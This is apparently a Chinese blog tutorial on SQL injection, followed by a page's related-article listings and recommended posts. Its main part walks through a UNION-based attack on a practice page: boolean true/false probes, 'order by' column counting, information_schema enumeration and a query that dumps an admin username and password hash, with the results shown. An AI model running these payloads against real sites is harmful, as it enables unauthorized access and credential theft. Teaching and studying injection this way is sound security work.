什么是SQL注入- (SQL Injection)是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击。
1,是一种将SQL语句插入或添加到应用(用户)的输入参数中的攻击
2,这些参数传递给后台的SQL数据库服务器加以解析并执行

SQL注入分类-- 按数据类型分类,
1,分为 整形注入 整型注入 (不需要闭合,大多数不需要注释符号)
2,字符串类型注入 (需要闭合,或者需要注释)

-- 按注入语法分类,
1,UNION query SQL injection(可联合查询注入)
2,Error-based SQL injection(报错型注入)
3,Boolean-based blind SQL injection(布尔型注入)
4,Time-based blind SQL injection(基于时间延迟注入)
5,Stacked queries SQL injection(可多语句查询注入)

http://www.wyzdjg.top/payload/sql/number.php?id=1 and 1=1 页面正常
http://www.wyzdjg.top/payload/sql/number.php?id=1 and 1=2 页面不正常
说明后台sql语句再接受id这个参数的时候,并没有给参数添加引号,所以 1=1(真)和 1=2(假)生效了。如下

$id = $_GET['id'];
$sql = "select * from admins where id = $id";
#所以加上 and 1=1 语句就变为:
select * from admins where id = 1 and 1=1 #为真有数据
select * from admins where id = 1 and 1=2 #为假查不到数据
$id = $_GET['id'];
$sql = "select * from admins where id = $id";
#所以加上 and 1=1 语句就变为:
select * from admins where id = 1 and 1=1 #为真有数据
select * from admins where id = 1 and 1=2 #为假查不到数据

http://www.wyzdjg.top/payload/sql/number.php?id=1 order by 8 #正常
http://www.wyzdjg.top/payload/sql/number.php?id=1 order by 9 #不正常,则显示位为8
联合查询:
1 http://www.wyzdjg.top/payload/sql/number.php?id=-1 UNION SELECT 1,2,3,4,5,6,7,8
2 http://www.wyzdjg.top/payload/sql/number.php?id=-1 UNION SELECT 1,database(),3,4,5,6,7,8 #得到库名nanhack

爆表 admins 中的所有列:

1 http://www.wyzdjg.top/payload/sql/number.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4,5,6,7,8 from information_schema.columns where table_schema=database() and table_name='admins'
2 # 得到 列名 id,username,userpwd,email,sex,money,role,vip

获取 admins 中的一条数据:

http://www.wyzdjg.top/payload/sql/number.php?id=-1 UNION SELECT 1,concat(username,0x23,userpwd),3,4,5,6,7,8 from admins limit 0,1
# 得到数据 必火网络安全#68d7e8e91c53395e3d29a938c1ab5d18

  

网站SQL注入之数字型注入和字符型注入的更多相关文章

  1. 【sqli-labs】 less38 GET -Stacked Query Injection -String based (GET型堆叠查询字符型注入)

    这个直接用union select就可以 http://192.168.136.128/sqli-labs-master/Less-38/?id=0' union select 1,2,3%23 看一 ...

  2. python基础-基本数据类型总结_整型(int)_字符型(str)_day3

     一.基本数据类型 1.整型(int) ps1:数字 int ,所有的功能,都放在int里a1 = 123a1 = 456 ps2: int 将字符串转换为数字 # -int # 将字符串转换为数字 ...

  3. CLOB型转成字符型

    //oracle.sql.Clob类型转换成String类型 public static String ClobToString(Clob clob) { String reString = &quo ...

  4. SQL注入之PHP-MySQL实现手工注入-字符型

    SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎 ...

  5. 【sqli-labs】 less5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

    双注入查询可以查看这两篇介绍 https://www.2cto.com/article/201302/190763.html https://www.2cto.com/article/201303/1 ...

  6. C++数据类型之字符型&转义字符

    字符型 **作用:** 字符型变量用于显示单个字符 **语法:**  char ch = 'a'; > 注意1:在显示字符型变量时,用单引号将字符括起来,不要用双引号 > 注意2:单引号内 ...

  7. Linux内核驱动学习(三)字符型设备驱动之初体验

    Linux字符型设备驱动之初体验 文章目录 Linux字符型设备驱动之初体验 前言 框架 字符型设备 程序实现 cdev kobj owner file_operations dev_t 设备注册过程 ...

  8. Sql注入的分类:数字型+字符型

    Sql注入: 就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.通过构造恶意的输入,使数据库执行恶意命令,造成数据泄露或者修改内容等,以 ...

  9. (转载)Sql注入的分类:数字型+字符型

    Sql注入: 就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.通过构造恶意的输入,使数据库执行恶意命令,造成数据泄露或者修改内容等,以 ...

  10. python打造一个分析网站SQL注入的脚本

    前言: 昨天晚上其实就已经写完代码.只不过向FB投稿了,打算延迟一晚上在写博客 所有才到今天早上写.好了,接下来进入正题. 思路: 1.从网站源码中爬取那些类适于:http://xxx.com/xx. ...

随机推荐

  1. 一次 MySQL 误操作导致的事故,「高可用」都顶不住了!

    这是悟空的第 152 篇原创文章 官网:www.passjava.cn 你好,我是悟空. 上次我们项目不是把 MySQL 高可用部署好了么,MySQL 双主模式 + Keepalived,来保证高可用 ...

  2. 【Python】和【Jupyter notebook】的正确安装方式?

    学了那么久Python,你的Python安装方式正确吗?今天给你看看什么才是Python正确的安装方式,教程放在下面了,喜欢的记得点赞. Python安装 Python解答Q群:660193417## ...

  3. centos系统管理高级篇

    1 enable virtual box 控制 - 关机 可以通过虚拟机的关机按钮执行关机,而不是登陆centos再执行init 0 首先,安装acpid包 如果你的centos已经安装这个包,就省略 ...

  4. Kingbase重新数据初始化,设置大小写

    KingbaseV8数据库安装完成后,删除/opt/Kingbase/ES/V8/data下所有内容,重新在其他目录初始化数据库,设置为忽略大小写 [kingbase@dbserver bin]$ . ...

  5. do-while循环和三种循环的区别

    循环语句3--do...while do...while循环格式 初始化表达式① do{ 循环体③ 步进表达式④ }while(布尔表达式②); 执行流程 执行顺序:①③④>②③④>②③④ ...

  6. .NET自定义认证虽然简单,但好用

    前言 有这样一种场景,就是新项目已经集成了认证中心,或者是都用了统一的认证方式(比如现在常用的JWT),这样对于项目之间的对接就显得比较方便,至少在认证这块还是能减少一些工作量的.但当上线的老项目需要 ...

  7. java自定义注解实现执行所有要测试的接口

    /* * 注解类 * */ @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.METHOD) public @interface Demo ...

  8. 5-4 Seata 分布式事务管理

    下载Seata https://github.com/seata/seata/releases https://github.com/seata/seata/releases/download/v1. ...

  9. hive常用函数 wordCount--Hive窗口函数1.1.1 聚合开窗函数聚合开窗函数实战

    第三天笔记 第三天笔记 SQL练习Hive 常用函数关系运算数值计算条件函数日期函数重点!!!字符串函数Hive 中的wordCount1.1 Hive窗口函数1.1.1 聚合开窗函数聚合开窗函数实战 ...

  10. mysql面试题整理

    1 myisam 和 innodb 引擎的区别 innodb 支持事务,外键,myisam 不支持 innodb 支持 mvcc ,myisam 不支持 innodb 支持表锁.行锁,myisam 仅 ...